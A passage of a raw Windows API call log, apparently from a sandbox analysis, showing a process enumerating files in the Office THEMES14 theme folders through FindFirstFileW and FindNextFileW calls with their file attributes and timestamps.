ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0084.951] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0084.951] GetProcessHeap () returned 0x550000 [0084.952] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0084.952] GetProcessHeap () returned 0x550000 [0084.952] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0084.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.639] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.639] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.639] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0085.639] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0085.639] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.639] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.640] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.640] GetProcessHeap () returned 0x550000 [0085.640] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.640] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0085.640] GetProcessHeap () returned 0x550000 [0085.640] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.641] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.641] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.641] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0085.641] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0085.642] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.642] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.642] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.642] GetProcessHeap () returned 0x550000 [0085.642] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.642] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0085.643] GetProcessHeap () returned 0x550000 [0085.643] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.678] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.678] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.678] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0085.678] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0085.678] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.679] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.679] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.680] GetProcessHeap () returned 0x550000 [0085.680] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.680] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0085.680] GetProcessHeap () returned 0x550000 [0085.680] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.680] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.682] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.682] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.682] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0085.683] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0085.683] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.683] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.683] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.683] GetProcessHeap () returned 0x550000 [0085.683] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.683] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0085.684] GetProcessHeap () returned 0x550000 [0085.684] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0085.686] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.687] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0085.687] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0085.687] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0085.687] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0085.687] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0085.688] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0085.688] GetProcessHeap () returned 0x550000 [0085.688] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0085.688] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0085.688] GetProcessHeap () returned 0x550000 [0085.688] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0085.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, 